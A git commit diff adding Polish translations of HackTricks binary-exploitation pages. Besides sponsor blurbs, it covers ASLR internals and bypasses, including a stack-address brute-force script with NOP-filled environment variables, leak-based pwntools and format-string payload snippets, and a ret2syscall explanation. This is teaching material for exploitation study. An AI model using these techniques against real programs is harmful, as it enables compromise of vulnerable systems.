Translated ['README.md', 'binary-exploitation/common-binary-protections-

This commit is contained in:
Translator 2024-04-09 00:24:13 +00:00
parent 342596cac2
commit 7f90746ea3
25 changed files with 886 additions and 288 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 599 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 248 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

View file

@ -20,7 +20,7 @@ Aby zacząć, przejdź do tej strony, gdzie znajdziesz **typowy przepływ**, kt
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) to doskonała firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
@ -69,8 +69,8 @@ Zdobądź dostęp już dziś:
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty!
* **Wgląd w Hacking:** Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania hakerstwa
* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom w czasie rzeczywistym
* **Wgląd w Hacking:** Zaangażuj się w treści dotyczące emocji i wyzwań związanych z hakingiem
* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakingu dzięki aktualnościom i wglądom w czasie rzeczywistym
* **Najnowsze Ogłoszenia:** Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
@ -81,7 +81,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.
**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się głębiej, przejmowanie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
@ -93,8 +93,8 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Scrapują one wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy w linii, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i inne.\
W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy wstawione, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
Aktualni klienci SerpApi to **Apple, Shopify i GrubHub**.\
Aby uzyskać więcej informacji, sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**placu zabaw**](https://serpapi.com/playground)**.**\
@ -112,17 +112,17 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) to profesjonalna firma cyberbezpieczeństwa z siedzibą w **Amsterdamie**, która pomaga **chronić** przedsiębiorstwa **na całym świecie** przed najnowszymi zagrożeniami cyberbezpieczeństwa, świadcząc usługi **bezpieczeństwa ofensywnego** w nowoczesny sposób.
WebSec to firma **wszystko w jednym z zakresu bezpieczeństwa**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
WebSec to firma **wszystko w jednym**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdza na ich stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
Oprócz powyższego, WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Licencja i Oświadczenie
Sprawdź je tutaj:
@ -141,6 +141,6 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -689,10 +689,12 @@
* [Exploiting Tools](binary-exploitation/basic-binary-exploitation-methodology/tools/README.md)
* [PwnTools](binary-exploitation/basic-binary-exploitation-methodology/tools/pwntools.md)
* [Stack Overflow](binary-exploitation/stack-overflow/README.md)
* [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode.md)
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Pointer Redirecting](binary-exploitation/stack-overflow/pointer-redirecting.md)
* [Ret2win](binary-exploitation/stack-overflow/ret2win.md)
* [Ret2win](binary-exploitation/stack-overflow/ret2win/README.md)
* [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
* [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md)
* [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)

View file

@ -6,8 +6,8 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych przez atakującego, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego przemieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
### **Sprawdzanie stanu ASLR**
@ -43,19 +43,19 @@ setarch `uname -m` -R ./bin args
```
### **Włączanie ASLR**
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Trwałość po ponownym uruchomieniu**
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby uczynić zmianę trwałą, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linijkę:
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Po edycji pliku `/etc/sysctl.conf` zastosuj zmiany za pomocą:
Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą:
```bash
sudo sysctl -p
```
@ -69,9 +69,9 @@ PaX dzieli przestrzeń adresową procesu na **3 grupy**:
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, efektywnie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednak faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na obejście ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
#### Pomysły na brutalne narzucanie:
@ -81,24 +81,93 @@ Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia po
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemocować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemęczyć adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
{% hint style="success" %}
W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.
{% endhint %}
### Przemęczanie stosu 64 bitów
Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.\
Poniższy kod pokazuje, jak można **wybrać adres na stosie** i co **kilka setek wykonania** ten adres będzie zawierał instrukcję **NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
### Lokalne informacje (`/proc/[pid]/stat`)
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje takie jak:
* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
* **startstack**: Adres początku **stosu**
* **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
* **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
- **startstack**: Adres początku **stosu**
- **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
- **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
- **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
- **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie niektórych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
{% hint style="success" %}
Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
@ -106,9 +175,9 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/
### Posiadanie wycieku
* **Wyzwaniem jest dostarczenie wycieku**
- **Wyzwaniem jest dostarczenie wycieku**
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę dla więcej szczegółów):
```python
from pwn import *
@ -143,7 +212,7 @@ Wykorzystując przepełnienie bufora, można wykorzystać **ret2plt** do wycieku
* **Format Strings Arbitrary Read**
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -170,8 +239,8 @@ Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
### vsyscall
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
Jednakże nie znajdziesz tu super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
(Poniższy przykład i kod pochodzi [**z tego opisu**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
@ -218,14 +287,14 @@ gef➤ x/4i 0xffffffffff600800
```
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>

View file

@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla.
Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja:
@ -28,7 +28,7 @@ Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfigura
Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
{% hint style="success" %}
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode/).
{% endhint %}
## Gadżety rejestrów
@ -183,8 +183,8 @@ target.interactive()
## Inne Przykłady i Odnośniki
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bity, brak PIE, nx, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
* 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
* 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
* 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i skocz tam.

View file

@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Co to jest przepełnienie stosu
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
